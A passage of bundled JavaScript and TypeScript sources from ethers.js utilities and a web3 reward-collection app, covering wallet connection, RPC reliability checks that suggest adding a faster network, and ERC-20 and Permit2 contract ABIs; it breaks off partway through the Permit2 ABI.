accessListify,\n parseTransaction,\n serializeTransaction,\n TransactionTypes,\n\n getJsonWalletAddress,\n\n computeAddress,\n recoverAddress,\n\n computePublicKey,\n recoverPublicKey,\n\n verifyMessage,\n verifyTypedData,\n\n getAccountPath,\n mnemonicToEntropy,\n entropyToMnemonic,\n isValidMnemonic,\n mnemonicToSeed,\n\n\n ////////////////////////\n // Enums\n\n SupportedAlgorithm,\n\n UnicodeNormalizationForm,\n Utf8ErrorReason,\n\n ////////////////////////\n // Types\n\n Bytes,\n BytesLike,\n Hexable,\n\n AccessList,\n AccessListish,\n UnsignedTransaction,\n\n CoerceFunc,\n\n Indexed,\n\n Mnemonic,\n\n Deferrable,\n\n Utf8ErrorFunc,\n\n ConnectionInfo,\n OnceBlockable,\n OncePollable,\n PollOptions,\n FetchJsonResponse,\n\n EncryptOptions,\n ProgressCallback\n}\n\n", "export const version = \"solidity/5.7.0\";\n", "\"use strict\";\n\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { arrayify, concat, hexlify, zeroPad } from \"@ethersproject/bytes\";\nimport { keccak256 as hashKeccak256 } from \"@ethersproject/keccak256\";\nimport { sha256 as hashSha256 } from \"@ethersproject/sha2\";\nimport { toUtf8Bytes } from \"@ethersproject/strings\";\n\nconst regexBytes = new RegExp(\"^bytes([0-9]+)$\");\nconst regexNumber = new RegExp(\"^(u?int)([0-9]*)$\");\nconst regexArray = new RegExp(\"^(.*)\\\\[([0-9]*)\\\\]$\");\n\nconst Zeros = \"0000000000000000000000000000000000000000000000000000000000000000\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n\nfunction _pack(type: string, value: any, isArray?: boolean): Uint8Array {\n switch(type) {\n case \"address\":\n if (isArray) { return zeroPad(value, 32); }\n return arrayify(value);\n case \"string\":\n return toUtf8Bytes(value);\n case \"bytes\":\n return arrayify(value);\n case \"bool\":\n value = (value ? \"0x01\": \"0x00\");\n if (isArray) { return zeroPad(value, 32); }\n return arrayify(value);\n }\n\n let match = type.match(regexNumber);\n if (match) {\n //let signed = (match[1] === \"int\")\n let size = parseInt(match[2] || \"256\")\n\n if ((match[2] && String(size) !== match[2]) || (size % 8 !== 0) || size === 0 || size > 256) {\n logger.throwArgumentError(\"invalid number type\", \"type\", type)\n }\n\n if (isArray) { size = 256; }\n\n value = BigNumber.from(value).toTwos(size);\n\n return zeroPad(value, size / 8);\n }\n\n match = type.match(regexBytes);\n if (match) {\n const size = parseInt(match[1]);\n\n if (String(size) !== match[1] || size === 0 || size > 32) {\n logger.throwArgumentError(\"invalid bytes type\", \"type\", type)\n }\n if (arrayify(value).byteLength !== size) {\n logger.throwArgumentError(`invalid value for ${ type }`, \"value\", value)\n }\n if (isArray) { return arrayify((value + Zeros).substring(0, 66)); }\n return value;\n }\n\n match = type.match(regexArray);\n if (match && Array.isArray(value)) {\n const baseType = match[1];\n const count = parseInt(match[2] || String(value.length));\n if (count != value.length) {\n logger.throwArgumentError(`invalid array length for ${ type }`, \"value\", value)\n }\n const result: Array = [];\n value.forEach(function(value) {\n result.push(_pack(baseType, value, true));\n });\n return concat(result);\n }\n\n return logger.throwArgumentError(\"invalid type\", \"type\", type)\n}\n\n// @TODO: Array Enum\n\nexport function pack(types: ReadonlyArray, values: ReadonlyArray) {\n if (types.length != values.length) {\n logger.throwArgumentError(\"wrong number of values; expected ${ types.length }\", \"values\", values)\n }\n const tight: Array = [];\n types.forEach(function(type, index) {\n tight.push(_pack(type, values[index]));\n });\n return hexlify(concat(tight));\n}\n\nexport function keccak256(types: ReadonlyArray, values: ReadonlyArray) {\n return hashKeccak256(pack(types, values));\n}\n\nexport function sha256(types: ReadonlyArray, values: ReadonlyArray) {\n return hashSha256(pack(types, values));\n}\n", "export const version = \"units/5.7.0\";\n", "\"use strict\";\n\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { formatFixed, parseFixed } from \"@ethersproject/bignumber\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nconst names = [\n \"wei\",\n \"kwei\",\n \"mwei\",\n \"gwei\",\n \"szabo\",\n \"finney\",\n \"ether\",\n];\n\n\n// Some environments have issues with RegEx that contain back-tracking, so we cannot\n// use them.\nexport function commify(value: string | number): string {\n const comps = String(value).split(\".\");\n\n if (comps.length > 2 || !comps[0].match(/^-?[0-9]*$/) || (comps[1] && !comps[1].match(/^[0-9]*$/)) || value === \".\" || value === \"-.\") {\n logger.throwArgumentError(\"invalid value\", \"value\", value);\n }\n\n // Make sure we have at least one whole digit (0 if none)\n let whole = comps[0];\n\n let negative = \"\";\n if (whole.substring(0, 1) === \"-\") {\n negative = \"-\";\n whole = whole.substring(1);\n }\n\n // Make sure we have at least 1 whole digit with no leading zeros\n while (whole.substring(0, 1) === \"0\") { whole = whole.substring(1); }\n if (whole === \"\") { whole = \"0\"; }\n\n let suffix = \"\";\n if (comps.length === 2) { suffix = \".\" + (comps[1] || \"0\"); }\n while (suffix.length > 2 && suffix[suffix.length - 1] === \"0\") {\n suffix = suffix.substring(0, suffix.length - 1);\n }\n\n const formatted = [];\n while (whole.length) {\n if (whole.length <= 3) {\n formatted.unshift(whole);\n break;\n } else {\n const index = whole.length - 3;\n formatted.unshift(whole.substring(index));\n whole = whole.substring(0, index);\n }\n }\n\n return negative + formatted.join(\",\") + suffix;\n}\n\nexport function formatUnits(value: BigNumberish, unitName?: string | BigNumberish): string {\n if (typeof(unitName) === \"string\") {\n const index = names.indexOf(unitName);\n if (index !== -1) { unitName = 3 * index; }\n }\n return formatFixed(value, (unitName != null) ? unitName: 18);\n}\n\nexport function parseUnits(value: string, unitName?: BigNumberish): BigNumber {\n if (typeof(value) !== \"string\") {\n logger.throwArgumentError(\"value must be a string\", \"value\", value);\n }\n if (typeof(unitName) === \"string\") {\n const index = names.indexOf(unitName);\n if (index !== -1) { unitName = 3 * index; }\n }\n return parseFixed(value, (unitName != null) ? unitName: 18);\n}\n\nexport function formatEther(wei: BigNumberish): string {\n return formatUnits(wei, 18);\n}\n\nexport function parseEther(ether: string): BigNumber {\n return parseUnits(ether, 18);\n}\n\n", "export const version = \"ethers/5.7.2\";\n", "\"use strict\";\n\n// To modify this file, you must update ./misc/admin/lib/cmds/update-exports.js\n\nimport * as ethers from \"./ethers\";\n\ntry {\n const anyGlobal = (window as any);\n\n if (anyGlobal._ethers == null) {\n anyGlobal._ethers = ethers;\n }\n} catch (error) { }\n\nexport { ethers };\n\nexport {\n Signer,\n\n Wallet,\n VoidSigner,\n\n getDefaultProvider,\n providers,\n\n BaseContract,\n Contract,\n ContractFactory,\n\n BigNumber,\n FixedNumber,\n\n constants,\n errors,\n\n logger,\n\n utils,\n\n wordlists,\n\n\n ////////////////////////\n // Compile-Time Constants\n\n version,\n\n\n ////////////////////////\n // Types\n\n ContractFunction,\n ContractReceipt,\n ContractTransaction,\n Event,\n EventFilter,\n\n Overrides,\n PayableOverrides,\n CallOverrides,\n\n PopulatedTransaction,\n\n ContractInterface,\n\n TypedDataDomain,\n TypedDataField,\n\n BigNumberish,\n\n Bytes,\n BytesLike,\n\n Signature,\n\n Transaction,\n UnsignedTransaction,\n\n Wordlist\n} from \"./ethers\";\n", "import { RPCHandler } from \"@ubiquity-dao/rpc-handler\";\nimport { AppState } from \"../app-state\";\n\nexport function useHandler(networkId: number) {\n const config = {\n networkId: networkId,\n autoStorage: true,\n cacheRefreshCycles: 5,\n rpcTimeout: 1500,\n networkName: null,\n runtimeRpcs: null,\n networkRpcs: null,\n };\n\n // No RPCs are tested at this point\n return new RPCHandler(config);\n}\n\nexport async function useRpcHandler(app: AppState) {\n const networkId = app.networkId;\n if (!networkId) {\n throw new Error(\"Network ID not set\");\n }\n\n const handler = await useHandler(networkId);\n const provider = await handler.getFastestRpcProvider();\n const url = provider.connection.url;\n if (!url) {\n throw new Error(\"Provider URL not set\");\n }\n return provider;\n}\n", "import { JsonRpcSigner } from \"@ethersproject/providers\";\nimport { ethers } from \"ethers\";\nimport { buttonController, toaster } from \"../toaster\";\nimport { app } from \"../app-state\";\nimport { useHandler } from \"../web3/use-rpc-handler\";\n\nfunction checkMobile(a: string) {\n // cspell:disable\n if (\n // eslint-disable-next-line no-useless-escape\n /(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(\n a\n ) || // eslint-disable-next-line no-useless-escape\n /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-/i.test(\n a.substring(0, 4)\n )\n ) {\n // cspell:enable\n return true;\n }\n}\n\nfunction mobileCheck() {\n return checkMobile(navigator.userAgent || navigator.vendor || (window as unknown as { opera: string }).opera);\n}\n\nexport async function connectWallet(): Promise {\n try {\n const wallet = new ethers.providers.Web3Provider(window.ethereum);\n\n if (mobileCheck()) {\n // the param is too long and prevents a mobile user from connecting their wallet\n window.history.pushState({}, \"\", \"/\");\n }\n\n await wallet.send(\"eth_requestAccounts\", []);\n\n const signer = wallet.getSigner();\n\n const address = await signer.getAddress();\n\n if (!address) {\n buttonController.hideAll();\n console.error(\"Wallet not connected\");\n return null;\n }\n\n const isOkay = await stressTestWalletRpc(wallet);\n\n if (!isOkay) {\n if (mobileCheck()) {\n toaster.create(\"info\", `In case of network issues, please change your in-wallet RPC to the one below...`, 15000);\n } else {\n // Their wallet provider will auto-prompt due to the call succeeding\n toaster.create(\"error\", \"We have detected potential issues with your in-wallet RPC. Accept the request to replace it with a more reliable one.\");\n }\n await addFastestHandlerNetwork(wallet);\n }\n\n return signer;\n } catch (error: unknown) {\n return connectErrorHandler(error);\n }\n}\n\nasync function addFastestHandlerNetwork(wallet: ethers.providers.Web3Provider) {\n const networkId = app.networkId ?? (await wallet.getNetwork()).chainId;\n const handler = useHandler(networkId);\n let provider = await handler.getFastestRpcProvider();\n const appUrl = app.provider?.connection?.url;\n\n const latencies = handler.getLatencies();\n const latenciesArray = Object.entries(latencies).map(([url, latency]) => ({ url, latency }) as { url: string; latency: number });\n const sorted = latenciesArray.sort((a, b) => a.latency - b.latency);\n\n let toSuggest = sorted[0];\n\n let isOkay = false;\n\n for await (const { url } of sorted) {\n const _url = url.split(\"__\")[1];\n if (_url !== appUrl) {\n provider = new ethers.providers.JsonRpcProvider(_url);\n\n isOkay = await stressTestWalletRpc(provider);\n\n if (isOkay) {\n toSuggest = { url: _url, latency: latencies[url] };\n break;\n }\n }\n }\n\n if (!isOkay) {\n toaster.create(\"error\", \"We failed to find a more reliable RPC for you. Please try again later if you have network issues.\");\n return;\n }\n\n try {\n await addHandlerSuggested(wallet, toSuggest.url);\n } catch (error) {\n toaster.create(\"info\", `${toSuggest.url}`, Infinity);\n }\n}\n\nasync function addHandlerSuggested(provider: ethers.providers.Web3Provider, url: string) {\n const symbol = app.networkId === 1 ? \"ETH\" : \"XDAI\";\n const altSymbol = app.networkId === 1 ? \"eth\" : \"xdai\";\n const altSymbol2 = app.networkId === 1 ? \"Eth\" : \"xDai\";\n\n if (mobileCheck()) {\n /**\n * https://github.com/MetaMask/metamask-mobile/issues/9519\n *\n * Until this is resolved it is not possible for us to add a network on mobile\n * so we'll show a toast suggesting they do it manually\n */\n\n toaster.create(\"info\", `${url}`, Infinity);\n return;\n }\n\n // It will not work unless the symbols match, so we try them all\n for (const _symbol of [symbol, altSymbol, altSymbol2]) {\n // this does not work on mobile yet\n await addProvider(provider, url, _symbol, app.networkId);\n }\n}\n\nasync function addProvider(provider: ethers.providers.Web3Provider, url: string, symbol: string, chainId: number | null) {\n const _chainId = chainId || (await provider.getNetwork()).chainId;\n try {\n await provider.send(\"wallet_addEthereumChain\", [\n {\n chainId: `0x${_chainId.toString(16)}`,\n chainName: _chainId === 1 ? \"Ethereum\" : \"Gnosis\",\n nativeCurrency: {\n name: _chainId === 1 ? \"ETH\" : \"XDAI\",\n symbol,\n decimals: 18,\n },\n rpcUrls: [url],\n blockExplorerUrls: [`https://${_chainId === 1 ? \"etherscan\" : \"gnosisscan\"}.io`],\n },\n ]);\n } catch {\n console.error(\"Failed to add network\");\n }\n}\n\nasync function stressTestWalletRpc(provider: ethers.providers.Web3Provider) {\n const success: Promise[] = [];\n\n for (let i = 0; i < 6; i++) {\n success.push(testNonceBitmapEthCall(provider));\n }\n\n // if the test takes too long, we'll just assume it's not working\n const timeoutPromise = new Promise<[false]>((resolve) => {\n setTimeout(() => {\n resolve([false]);\n }, 7000);\n });\n\n const results = await Promise.race([Promise.all(success), timeoutPromise]);\n\n return results.filter((s) => s === \"0x\" + \"00\".repeat(32)).length > 5 && results.filter((s) => s === false).length < 1;\n}\n\nasync function testNonceBitmapEthCall(provider: ethers.providers.Web3Provider) {\n try {\n return await provider.send(\"eth_call\", [\n {\n to: \"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\n // input works for desktop, needs to be data for mobile\n data: \"0x4fe02b44000000000000000000000000d9530f3fbbea11bed01dc09e79318f2f20223716001fd097bcb5a1759ce02c0a671386a0bbbfa8216559e5855698a9d4de4cddea\",\n },\n \"latest\",\n ]);\n } catch {\n // if the call fails, we'll assume the RPC is not working\n }\n}\n\nfunction connectErrorHandler(error: unknown) {\n if (error instanceof Error) {\n console.error(error);\n if (error?.message?.includes(\"missing provider\")) {\n // mobile browsers don't really support window.ethereum\n\n if (mobileCheck()) {\n toaster.create(\"warning\", \"Please use a mobile-friendly Web3 browser such as MetaMask to collect this reward\", Infinity);\n } else if (!window.ethereum) {\n toaster.create(\"warning\", \"Please use a web3 enabled browser to collect this reward.\", Infinity);\n buttonController.hideAll();\n }\n } else {\n toaster.create(\"error\", error.message);\n }\n } else {\n toaster.create(\"error\", \"An unknown error occurred\" + JSON.stringify(error));\n }\n\n if (window.location.href.includes(\"localhost\")) {\n return (window as unknown as { signer: ethers.providers.JsonRpcSigner }).signer;\n }\n return null;\n}\n", "export const erc20Abi = [\n { inputs: [{ internalType: \"uint256\", name: \"chainId_\", type: \"uint256\" }], payable: false, stateMutability: \"nonpayable\", type: \"constructor\" },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"src\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"guy\", type: \"address\" },\n { indexed: false, internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"Approval\",\n type: \"event\",\n },\n {\n anonymous: true,\n inputs: [\n { indexed: true, internalType: \"bytes4\", name: \"sig\", type: \"bytes4\" },\n { indexed: true, internalType: \"address\", name: \"usr\", type: \"address\" },\n { indexed: true, internalType: \"bytes32\", name: \"arg1\", type: \"bytes32\" },\n { indexed: true, internalType: \"bytes32\", name: \"arg2\", type: \"bytes32\" },\n { indexed: false, internalType: \"bytes\", name: \"data\", type: \"bytes\" },\n ],\n name: \"LogNote\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"src\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"dst\", type: \"address\" },\n { indexed: false, internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"Transfer\",\n type: \"event\",\n },\n {\n constant: true,\n inputs: [],\n name: \"DOMAIN_SEPARATOR\",\n outputs: [{ internalType: \"bytes32\", name: \"\", type: \"bytes32\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"PERMIT_TYPEHASH\",\n outputs: [{ internalType: \"bytes32\", name: \"\", type: \"bytes32\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [\n { internalType: \"address\", name: \"\", type: \"address\" },\n { internalType: \"address\", name: \"\", type: \"address\" },\n ],\n name: \"allowance\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"usr\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"approve\",\n outputs: [{ internalType: \"bool\", name: \"\", type: \"bool\" }],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [{ internalType: \"address\", name: \"\", type: \"address\" }],\n name: \"balanceOf\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"usr\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"burn\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"decimals\",\n outputs: [{ internalType: \"uint8\", name: \"\", type: \"uint8\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [{ internalType: \"address\", name: \"guy\", type: \"address\" }],\n name: \"deny\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"usr\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"mint\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"src\", type: \"address\" },\n { internalType: \"address\", name: \"dst\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"move\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"name\",\n outputs: [{ internalType: \"string\", name: \"\", type: \"string\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [{ internalType: \"address\", name: \"\", type: \"address\" }],\n name: \"nonces\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"holder\", type: \"address\" },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n { internalType: \"uint256\", name: \"nonce\", type: \"uint256\" },\n { internalType: \"uint256\", name: \"expiry\", type: \"uint256\" },\n { internalType: \"bool\", name: \"allowed\", type: \"bool\" },\n { internalType: \"uint8\", name: \"v\", type: \"uint8\" },\n { internalType: \"bytes32\", name: \"r\", type: \"bytes32\" },\n { internalType: \"bytes32\", name: \"s\", type: \"bytes32\" },\n ],\n name: \"permit\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"usr\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"pull\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"usr\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"push\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [{ internalType: \"address\", name: \"guy\", type: \"address\" }],\n name: \"rely\",\n outputs: [],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"symbol\",\n outputs: [{ internalType: \"string\", name: \"\", type: \"string\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"totalSupply\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"dst\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"transfer\",\n outputs: [{ internalType: \"bool\", name: \"\", type: \"bool\" }],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: false,\n inputs: [\n { internalType: \"address\", name: \"src\", type: \"address\" },\n { internalType: \"address\", name: \"dst\", type: \"address\" },\n { internalType: \"uint256\", name: \"wad\", type: \"uint256\" },\n ],\n name: \"transferFrom\",\n outputs: [{ internalType: \"bool\", name: \"\", type: \"bool\" }],\n payable: false,\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [],\n name: \"version\",\n outputs: [{ internalType: \"string\", name: \"\", type: \"string\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n constant: true,\n inputs: [{ internalType: \"address\", name: \"\", type: \"address\" }],\n name: \"wards\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n payable: false,\n stateMutability: \"view\",\n type: \"function\",\n },\n];\n", "// cspell: word lockdown\nexport const permit2Abi = [\n { inputs: [{ internalType: \"uint256\", name: \"deadline\", type: \"uint256\" }], name: \"AllowanceExpired\", type: \"error\" },\n { inputs: [], name: \"ExcessiveInvalidation\", type: \"error\" },\n { inputs: [{ internalType: \"uint256\", name: \"amount\", type: \"uint256\" }], name: \"InsufficientAllowance\", type: \"error\" },\n { inputs: [{ internalType: \"uint256\", name: \"maxAmount\", type: \"uint256\" }], name: \"InvalidAmount\", type: \"error\" },\n { inputs: [], name: \"InvalidContractSignature\", type: \"error\" },\n { inputs: [], name: \"InvalidNonce\", type: \"error\" },\n { inputs: [], name: \"InvalidSignature\", type: \"error\" },\n { inputs: [], name: \"InvalidSignatureLength\", type: \"error\" },\n { inputs: [], name: \"InvalidSigner\", type: \"error\" },\n { inputs: [], name: \"LengthMismatch\", type: \"error\" },\n { inputs: [{ internalType: \"uint256\", name: \"signatureDeadline\", type: \"uint256\" }], name: \"SignatureExpired\", type: \"error\" },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"owner\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"token\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"spender\", type: \"address\" },\n { indexed: false, internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { indexed: false, internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n ],\n name: \"Approval\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"owner\", type: \"address\" },\n { indexed: false, internalType: \"address\", name: \"token\", type: \"address\" },\n { indexed: false, internalType: \"address\", name: \"spender\", type: \"address\" },\n ],\n name: \"Lockdown\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"owner\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"token\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"spender\", type: \"address\" },\n { indexed: false, internalType: \"uint48\", name: \"newNonce\", type: \"uint48\" },\n { indexed: false, internalType: \"uint48\", name: \"oldNonce\", type: \"uint48\" },\n ],\n name: \"NonceInvalidation\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"owner\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"token\", type: \"address\" },\n { indexed: true, internalType: \"address\", name: \"spender\", type: \"address\" },\n { indexed: false, internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { indexed: false, internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n { indexed: false, internalType: \"uint48\", name: \"nonce\", type: \"uint48\" },\n ],\n name: \"Permit\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n { indexed: true, internalType: \"address\", name: \"owner\", type: \"address\" },\n { indexed: false, internalType: \"uint256\", name: \"word\", type: \"uint256\" },\n { indexed: false, internalType: \"uint256\", name: \"mask\", type: \"uint256\" },\n ],\n name: \"UnorderedNonceInvalidation\",\n type: \"event\",\n },\n { inputs: [], name: \"DOMAIN_SEPARATOR\", outputs: [{ internalType: \"bytes32\", name: \"\", type: \"bytes32\" }], stateMutability: \"view\", type: \"function\" },\n {\n inputs: [\n { internalType: \"address\", name: \"\", type: \"address\" },\n { internalType: \"address\", name: \"\", type: \"address\" },\n { internalType: \"address\", name: \"\", type: \"address\" },\n ],\n name: \"allowance\",\n outputs: [\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n { internalType: \"uint48\", name: \"nonce\", type: \"uint48\" },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n ],\n name: \"approve\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n { internalType: \"uint48\", name: \"newNonce\", type: \"uint48\" },\n ],\n name: \"invalidateNonces\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"uint256\", name: \"wordPos\", type: \"uint256\" },\n { internalType: \"uint256\", name: \"mask\", type: \"uint256\" },\n ],\n name: \"invalidateUnorderedNonces\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n ],\n internalType: \"struct IAllowanceTransfer.TokenSpenderPair[]\",\n name: \"approvals\",\n type: \"tuple[]\",\n },\n ],\n name: \"lockdown\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"\", type: \"address\" },\n { internalType: \"uint256\", name: \"\", type: \"uint256\" },\n ],\n name: \"nonceBitmap\",\n outputs: [{ internalType: \"uint256\", name: \"\", type: \"uint256\" }],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"owner\", type: \"address\" },\n {\n components: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n { internalType: \"uint48\", name: \"nonce\", type: \"uint48\" },\n ],\n internalType: \"struct 